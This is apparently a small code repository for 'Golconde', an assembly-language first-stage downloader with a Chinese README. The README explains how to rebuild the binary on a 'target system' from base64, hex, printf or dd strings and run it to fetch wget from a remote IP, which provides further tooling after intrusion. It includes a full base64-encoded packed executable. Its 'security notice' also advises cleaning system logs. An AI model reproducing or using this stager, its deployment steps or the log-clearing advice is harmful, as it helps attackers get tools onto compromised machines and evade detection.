├── golconde.asm └── README.md /golconde.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | httpRequest db "GET /wget HTTP/1.1",0xD,0xA 3 | db "Host: %s:%s",0xD,0xA 4 | db "Connection: close",0xD,0xA,0xD,0xA 5 | fileName db "wget",0 6 | usage_msg db "Usage: %s ",0xA,0 7 | error_ip db "Invalid IP address",0xA,0 8 | error_port db "Invalid port number",0xA,0 9 | 10 | section .bss 11 | sockaddr resb 16 12 | recvBuffer resb 16384 13 | fd resb 4 14 | ip_str resb 16 ; IP地址缓冲区 15 | port_str resb 6 ; 端口缓冲区 16 | formatted_request resb 512 ; 格式化后的HTTP请求缓冲区 17 | 18 | section .text 19 | global _start 20 | 21 | _start: 22 | ; 检查命令行参数 23 | pop rax ; 获取参数个数 24 | cmp rax, 3 ; 需要3个参数 25 | jne usage_error 26 | 27 | pop rax ; 程序名 28 | pop rax ; IP地址 29 | mov r14, rax ; 保存IP地址 30 | pop rax ; 端口 31 | mov r15, rax ; 保存端口 32 | 33 | ; 复制IP和端口到缓冲区 34 | mov rsi, r14 35 | mov rdi, ip_str 36 | call strcpy 37 | 38 | mov rsi, r15 39 | mov rdi, port_str 40 | call strcpy 41 | 42 | ; 检查端口号有效性 43 | mov rdi, port_str 44 | call validate_port 45 | test rax, rax 46 | jz port_error 47 | 48 | ; 检查IP地址有效性 49 | mov rdi, ip_str 50 | call validate_ip 51 | test rax, rax 52 | jz ip_error 53 | 54 | ; 创建socket 55 | mov rax, 41 ; socket syscall 56 | mov rdi, 2 ; AF_INET 57 | mov rsi, 1 ; SOCK_STREAM 58 | xor rdx, rdx ; 0 59 | syscall 60 | mov r12, rax ; 保存socket fd 61 | 62 | ; 设置sockaddr结构 63 | mov word [sockaddr], 2 ; AF_INET 64 | 65 | ; 转换端口号 66 | mov rdi, port_str 67 | call atoi 68 | xchg al, ah ; 转换为网络字节序 69 | mov word [sockaddr+2], ax ; 设置端口 70 | 71 | ; 转换IP地址 72 | mov rdi, ip_str 73 | mov rsi, sockaddr+4 74 | call inet_pton 75 | 76 | xor rax, rax 77 | mov qword [sockaddr+8], rax 78 | 79 | ; 连接到服务器 80 | mov rax, 42 ; connect syscall 81 | mov rdi, r12 ; socket fd 82 | mov rsi, sockaddr ; struct sockaddr * 83 | mov rdx, 16 ; addrlen 84 | syscall 85 | 86 | ; 发送HTTP请求 87 | mov rax, 44 ; sendto syscall 88 | mov rdi, r12 ; socket fd 89 | mov rsi, httpRequest ; message 90 | mov rdx, 512 ; length 91 | xor r10, r10 ; flags 92 | xor r8, r8 ; dest_addr 93 | xor r9, r9 ; addrlen 94 | syscall 95 | 96 | ; 打开文件准备写入 97 | mov rax, 2 ; open syscall 98 | mov rdi, fileName ; filename 99 | mov rsi, 0102o ; O_CREAT|O_WRONLY 100 | mov rdx, 0644o ; mode 101 | syscall 102 | mov r13, rax ; 保存文件fd 103 | 104 | xor r14, r14 ; r14用于标记是否找到header 105 | 106 | read_loop: 107 | mov rax, 0 ; read syscall 108 | mov rdi, r12 ; socket fd 109 | mov rsi, recvBuffer ; buffer 110 | mov rdx, 16384 ; count 111 | syscall 112 | 113 | test rax, rax 114 | jle cleanup 115 | 116 | mov r15, rax ; 保存读取的长度 117 | 118 | test r14, r14 119 | jnz write_data 120 | 121 | find_header: 122 | mov rcx, recvBuffer 123 | mov rdx, rcx 124 | add rdx, r15 125 | 126 | next_byte: 127 | cmp rcx, rdx 128 | jge read_loop 129 | cmp dword [rcx], 0x0A0D0A0D 130 | je header_found 131 | inc rcx 132 | jmp next_byte 133 | 134 | header_found: 135 | mov r14, 1 136 | add rcx, 4 137 | mov rsi, rcx 138 | mov rdx, recvBuffer 139 | add rdx, r15 140 | sub rdx, rcx 141 | jmp write_file 142 | 143 | write_data: 144 | mov rsi, recvBuffer 145 | mov rdx, r15 146 | 147 | write_file: 148 | mov rax, 1 ; write syscall 149 | mov rdi, r13 ; file fd 150 | syscall 151 | jmp read_loop 152 | 153 | cleanup: 154 | mov rax, 3 ; close syscall 155 | mov rdi, r13 ; file fd 156 | syscall 157 | 158 | mov rax, 3 ; close syscall 159 | mov rdi, r12 ; socket fd 160 | syscall 161 | 162 | mov rax, 60 ; exit syscall 163 | xor rdi, rdi 164 | syscall 165 | 166 | usage_error: 167 | mov rdi, 1 168 | mov rsi, usage_msg 169 | mov rdx, 26 170 | mov rax, 1 ; write syscall 171 | syscall 172 | mov rax, 60 ; exit syscall 173 | mov rdi, 1 174 | syscall 175 | 176 | ip_error: 177 | mov rdi, 1 178 | mov rsi, error_ip 179 | mov rdx, 18 180 | mov rax, 1 ; write syscall 181 | syscall 182 | mov rax, 60 ; exit syscall 183 | mov rdi, 1 184 | syscall 185 | 186 | port_error: 187 | mov rdi, 1 188 | mov rsi, error_port 189 | mov rdx, 19 190 | mov rax, 1 ; write syscall 191 | syscall 192 | mov rax, 60 ; exit syscall 193 | mov rdi, 1 194 | syscall 195 | 196 | ; 辅助函数 197 | strcpy: ; rdi = destination, rsi = source 198 | xor rcx, rcx 199 | .loop: 200 | mov al, [rsi + rcx] 201 | mov [rdi + rcx], al 202 | inc rcx 203 | test al, al 204 | jnz .loop 205 | ret 206 | 207 | atoi: ; rdi = string 208 | xor rax, rax 209 | xor rcx, rcx 210 | .loop: 211 | movzx rdx, byte [rdi + rcx] 212 | test rdx, rdx 213 | jz .done 214 | sub rdx, '0' 215 | imul rax, 10 216 | add rax, rdx 217 | inc rcx 218 | jmp .loop 219 | .done: 220 | ret 221 | 222 | inet_pton: ; rdi = IP string, rsi = destination 223 | xor rax, rax 224 | xor rcx, rcx 225 | xor rdx, rdx 226 | .loop: 227 | movzx r8, byte [rdi + rcx] 228 | test r8, r8 229 | jz .done 230 | cmp r8, '.' 231 | je .next_octet 232 | sub r8, '0' 233 | imul rdx, 10 234 | add rdx, r8 235 | inc rcx 236 | jmp .loop 237 | .next_octet: 238 | mov byte [rsi], dl 239 | inc rsi 240 | xor rdx, rdx 241 | inc rcx 242 | jmp .loop 243 | .done: 244 | mov byte [rsi], dl 245 | ret 246 | 247 | validate_port: ; rdi = port string 248 | xor rax, rax 249 | xor rcx, rcx 250 | xor rdx, rdx 251 | .loop: 252 | movzx r8, byte [rdi + rcx] 253 | test r8, r8 254 | jz .check_value 255 | sub r8, '0' 256 | cmp r8, 9 257 | ja .error 258 | imul rdx, 10 259 | add rdx, r8 260 | inc rcx 261 | jmp .loop 262 | .check_value: 263 | cmp rdx, 65535 264 | ja .error 265 | mov rax, 1 266 | ret 267 | .error: 268 | xor rax, rax 269 | ret 270 | 271 | validate_ip: ; rdi = IP string 272 | xor rax, rax 273 | xor rcx, rcx 274 | xor rdx, rdx 275 | mov r9, 0 ; 点的数量 276 | .loop: 277 | movzx r8, byte [rdi + rcx] 278 | test r8, r8 279 | jz .check_dots 280 | cmp r8, '.' 281 | je .check_octet 282 | sub r8, '0' 283 | cmp r8, 9 284 | ja .error 285 | imul rdx, 10 286 | add rdx, r8 287 | inc rcx 288 | jmp .loop 289 | .check_octet: 290 | cmp rdx, 255 291 | ja .error 292 | inc r9 293 | xor rdx, rdx 294 | inc rcx 295 | jmp .loop 296 | .check_dots: 297 | cmp r9, 3 298 | jne .error 299 | cmp rdx, 255 300 | ja .error 301 | mov rax, 1 302 | ret 303 | .error: 304 | xor rax, rax 305 | ret -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Golconde HTTP 下载器 2 | 3 | Golconde 是一个轻量级的 HTTP 下载工具,使用纯汇编语言编写,专为 x86_64 Linux 系统设计。它主要用于在受限环境中实现文件下载功能的第一阶段工具。 4 | 5 | ## 特性 6 | 7 | - 纯汇编语言实现,无需任何依赖 8 | - 支持通过命令行参数指定目标 IP 和端口 9 | - 固定下载保存到根目录的 /wget 文件 10 | - 极小的程序体积,适合通过字符串方式传输 11 | - 专门设计用于获取完整版的 wget 工具 12 | 13 | ## 使用场景 14 | 15 | Golconde 设计用于以下场景: 16 | 1. 在无法直接上传二进制文件的受限环境中 17 | 2. 通过 Base64/Echo/Printf 等方式将 Golconde 的小型二进制文件转成字符串 18 | 3. 在目标系统重新组装 Golconde 19 | 4. 使用 Golconde 下载完整的 wget 工具(推荐使用 busybox wget,仅 90KB) 20 | 5. 后续可使用完整版 wget 下载其他所需文件 21 | 22 | ## 使用方法 23 | 24 | ```bash 25 | ./golconda <端口> 26 | ``` 27 | 28 | 例如: 29 | ```bash 30 | ./golconda 127.0.0.1 8080 31 | ``` 32 | 33 | ## 编译说明 34 | 35 | 要获得最小的程序体积,请按以下步骤编译: 36 | 37 | ```bash 38 | # 汇编(禁用所有警告) 39 | nasm -f elf64 -w-all golconda.asm -o golconda.o 40 | 41 | # 链接(禁用额外特性以减小体积) 42 | ld -s -z norelro --no-eh-frame --build-id=none -o golconda golconda.o 43 | 44 | # 使用 UPX 进行压缩 45 | upx --best golconda 46 | ``` 47 | 48 | ## 推荐的 wget 源 49 | 50 | 建议下载 busybox 的 wget 版本: 51 | ``` 52 | https://www.busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox_WGET 53 | ``` 54 | 该版本仅约 90KB,功能完整,适合作为第二阶段工具。 55 | 56 | ## 工作流程 57 | 58 | 1. 准备阶段: 59 | - 编译 Golconde 获得最小体积的二进制文件 60 | - 将二进制转换为 Base64 或其他字符串形式 61 | 62 | 2. 部署阶段: 63 | - 在目标系统通过字符串重建 Golconde 64 | - 执行 Golconde 下载完整的 wget 65 | - wget 成功下载后,获得完整的文件下载能力 66 | 67 | 3. 后续操作: 68 | - 使用获得的 wget 下载其他所需工具 69 | - 建立完整的工具链 70 | 71 | ## 限制说明 72 | 73 | - 不支持 DNS 解析,需要直接使用 IP 地址 74 | - 固定下载到 /wget 路径 75 | - 不支持 HTTPS 76 | - 建议配合小型的 wget 版本使用 77 | - 需要目标系统有写入根目录的权限 78 | 79 | ## 技术说明 80 | 81 | - 使用系统调用实现网络通信 82 | - 支持标准 HTTP/1.1 请求 83 | - 实现了基本的 HTTP 响应解析 84 | - 使用多个优化技术最小化程序体积 85 | - 专注于单一功能,确保最小体积 86 | 87 | ## 安全提示 88 | 89 | 本工具仅供安全研究和授权测试使用。在使用本工具时: 90 | - 确保获得适当的授权 91 | - 仅在授权的系统上使用 92 | - 注意保护和清理系统日志 93 | - 遵守相关法律法规和道德准则 94 | 95 | ## Golconde 部署指南 96 | 97 | ### 1. 环境检测 98 | 99 | 首先检测目标系统可用的工具: 100 | ```bash 101 | which base64 echo printf dd 102 | ``` 103 | 104 | ### 2. 部署方案 105 | 106 | #### 方案A:使用 base64(推荐) 107 | ```bash 108 | # 在本地将 Golconde 转为 base64 109 | base64 golconda > golconda.b64 110 | 111 | # 在目标系统执行: 112 | base64 -d > /tmp/golconda << 'EOF' 113 | [这里粘贴 base64 字符串] 114 | EOF 115 | 116 | chmod +x /tmp/golconda 117 | /tmp/golconda 192.168.1.100 8080 118 | ``` 119 | 120 | #### 方案B:使用 echo 121 | ```bash 122 | # 在本地生成 echo 命令 123 | xxd -p golconda | tr -d '\n' > golconda.hex 124 | 125 | # 在目标系统执行: 126 | echo -n '[这里粘贴十六进制字符串]' | xxd -p -r > /tmp/golconda 127 | 128 | chmod +x /tmp/golconda 129 | /tmp/golconda 192.168.1.100 8080 130 | ``` 131 | 132 | #### 方案C:使用 printf 133 | ```bash 134 | # 在本地生成 printf 命令 135 | # 生成转义序列 136 | xxd -p golconda | sed 's/\(..\)/\\x\1/g' > golconda.printf 137 | 138 | # 在目标系统执行: 139 | printf '[这里粘贴转义序列]' > /tmp/golconda 140 | 141 | chmod +x /tmp/golconda 142 | /tmp/golconda 192.168.1.100 8080 143 | ``` 144 | 145 | #### 方案D:使用 dd 146 | ```bash 147 | # 在本地生成十六进制块 148 | xxd -p golconda | fold -w 2 | while read byte; do 149 | echo "echo $byte|xxd -p -r" >> golconda.dd 150 | done 151 | 152 | # 在目标系统执行: 153 | rm -f /tmp/golconda 154 | while read cmd; do 155 | eval "$cmd >> /tmp/golconda" 156 | done < golconda.dd 157 | 158 | chmod +x /tmp/golconda 159 | /tmp/golconda 192.168.1.100 8080 160 | ``` 161 | 162 | ### 3. 二次部署 163 | 164 | 成功运行 Golconde 后,它会下载 busybox wget 到 /wget。给予执行权限后即可使用: 165 | 166 | ```bash 167 | chmod +x /wget 168 | /wget http://your-server/your-files 169 | ``` 170 | 171 | ### 4. 各方案优劣比较 172 | 173 | 1. base64 方案 174 | - 优点:最简单可靠,字符串最短 175 | - 缺点:可能不是所有系统都有 base64 命令 176 | 177 | 2. echo 方案 178 | - 优点:echo 命令几乎必定存在 179 | - 缺点:生成的字符串较长 180 | 181 | 3. printf 方案 182 | - 优点:printf 通常都存在 183 | - 缺点:转义序列可能在某些环境下有问题 184 | 185 | 4. dd 方案 186 | - 优点:最基础的系统命令 187 | - 缺点:操作最复杂,执行较慢 188 | 189 | ## Golconde 分段部署指南 190 | 191 | ### 1. 准备阶段(在本地执行) 192 | ```bash 193 | # 生成无换行的base64 194 | base64 -w0 golconda > golconda.b64 195 | 196 | # 将base64文件分成4段(每段约为总长度的1/4) 197 | split -n 4 golconda.b64 part_ 198 | ``` 199 | 200 | ``` 201 | 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 202 | ``` 203 | 204 | 分段 205 | 206 | ``` 207 | f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAGHVAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAAAAAAAAAAEAAAAGAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAABAAAAAAAACoYgAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAAAAAAAAAAABwQAAAAAAAAHBAAAAAAADlDwAAAAAAAOUPAAAAAAAAABAAAAAAAAAM7SCNVVBYIdwKDhYAAAAA2CEAAD4DAADoAAAAZQAAAAIAAAAd+yH/f0VMRgIBAQACAD4ADRBAS/I2iw8FAJggABOBHbt7OAADBQUABCsEAAAtIU/YQAfoAABXYQH7ZgY3BQ9vYAn5sAc+AwA3E/awdwYIjyBAB3sALOxgFqhCNwAAAAAAAAAS/z4DAAA+AwAAAAAAAFhIg/gDD4W1AQAAWFhJicZYSYnHTIn2SL+QYEAAAAAAAOgPAgAATIn+SL+gYEAAAAAAAOj9AQAASL+gYEAAAAAAAOhZAgAASIXAD4S+AQAASL+QYEAAAAAAAOh9AgAASIXAD4R/AQAAuCkAAAC/AgAAAL4BAAAASDHSDwVJicRmxwQlfCBAAAIASL+gYEAAAAAAAOiuAQAAhsRmiQQlfiBAAEi/kGBAAAAAAABIvoAgQAAAAAAA6KwBAABIMcBIiQQlhCBAALgqAAAATInnSL58IEAAAAAAALoQAAAADwW4LAAAAEyJ50i+ACBAAAAAAAC6AAIAAE0x0k0xwE0xyQ8FuAIAAABIvzYgQAAAAAAAvkIAAAC6pAEAAA8FSYnFTTH2uAAAAABMiedIvowgQAAAAAAAugBAAAAPBUiFwH5iSYnHTYX2dUFIuYwgQAAAAAAASInKTAH6SDnRfcWBOQ0KDQp0BUj/wevuQb4BAAAASIPBBEiJzki6jCBAAAAAAABMAfpIKcrrDUi+jCBAAAAAAABMifq4AQAAAEyJ7w8F64C4AwAAAEyJ7w8FuAMAAABMiecPBbg8AAAASDH/DwW/AQAAAEi+OyBAAAAAAAC6GgAAALgBAAAADwW4PAAAAL8BAAAADwW/AQAAAEi+UiBAAAAAAAC6EgAAALgBAAAADwW4PAAAAL8BAAAADwW/AQAAAEi+ZiBAAAAAAAC6EwAAALgBAAAADwW4PAAAAL8BAAAADwVIMcmKBA6IBA9I/8GEwHXzw0gxwEgxyUgPthQPSIXSdBBIg+owSGvACkgB0Ej/wevmw0gxwEgxyUgx0kwPtgQPTYXAdCNJg/gudBBJg+gwSGvSCkwBwkj/wevgiBZI/8ZIMdJI/8Hr04gWw0gxwEgxyUgx0kwPtgQPTYXAdBZJg+gwSYP4CXcbSGvSCkwBwkj/wevgSIH6//8AAHcGuAEAAADDSDHAw0gxwEgxyUgx0kG5AAAAAEwPtgQPTYXAdDBJg/gudBZJg+gwSYP4CXc1SGvSCkwBwkj/wevaSIH6/wAAAHcg 208 | ``` 209 | 210 | ``` 211 | Sf/BSDHSSP/B68ZJg/kDdQ9Igfr/AAAAdwa4AQAAAMNIMcDDewAAAHsAAAAAAAAAR0VUIC93Z2V0IEhUVFAvMS4xDQpIb3N0OiAlczolcw0KQ29ubmVjdGlvbjogY2xvc2UNCg0Kd2dldABVc2FnZTogJXMgPGlwPiA8cG9ydD4KAEludmFsaWQgSVAgYWRkcmVzcwoASW52YWxpZCBwb3J0IG51bWJlcgoAAAAAAAAAyAAAABQFAABQUuhpAgAAVVNRUkgB/lZIKf5Iif5Iidcx2zHJSIPN/+hQAAAAAdt0AvPDix5Ig+78EduKFvPDSI0EL4P5BYoQdiFIg/38dxuD6QSLEEiDwASD6QSJF0iNfwRz74PBBIoQdBBI/8CIF4PpAYoQSI1/AXXw88P8QVtBgPgCD4WHAAAA6whI/8aIF0j/x4oWAdt1CoseSIPu/BHbihZy5o1BAUH/0xHAAdt1CoseSIPu/BHbihZz64PoA3IXweAID7bSCdBI/8aD8P8PhDwAAABIY+iNQQFB/9MRyUH/0xHJdRiJwYPAAkH/0xHJAdt1CIseSIPu/BHbc+1Igf0A8///EcHoMP///+uDV15ZSInwSCnIWkgp11mJOVtdw2geAAAAWugeAAAAUFJPVF9FWEVDfFBST1RfV1JJVEUgZmFpbGVkLgoAXmoCX2oBWA8Fan9fajxYDwUKACRJbmZvOiBUaGlzIGZpbGUgaXMgcGFja2VkIHdpdGggdGhlIFVQWCBleGVjdXRhYmxlIHBhY2tlciBodHRwOi8vdXB4LnNmLm5ldCAkCgAkSWQ6IFVQWCA0LjIyIENvcHlyaWdodCAoQykgMTk5Ni0yMDI0IHRoZSBVUFggVGVhbS4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4gJAoAkF8p9moCWA8FUEiNtw8AAACtg+D+QYnGVluLFkiNjfX///9EizlMKflFKfdJAc5fUlBXUU0pyUGDyP9qIkFaUl5qA1op/2oJWA8FSIlEJBBQWlNerVBIieFJidWtUK1BkEiJ917/1VlIi3QkGEiLfCQQagVaagpYDwVB/+Vd6H7///8vcHJvYy9zZWxmL2V4ZQDIAAAAFQwAADgIAAACAAAA////5ehKAIP5SXVEU1dIjUw3/V5WW+svSDnOczJWXv/7//+sPIByCjyPdwaAfv4PdAYs6DwBd+QbFlatKNB1//+//99fD8gp+AHYqxIDrOvfW8NYQVZBV1BIieZIgez+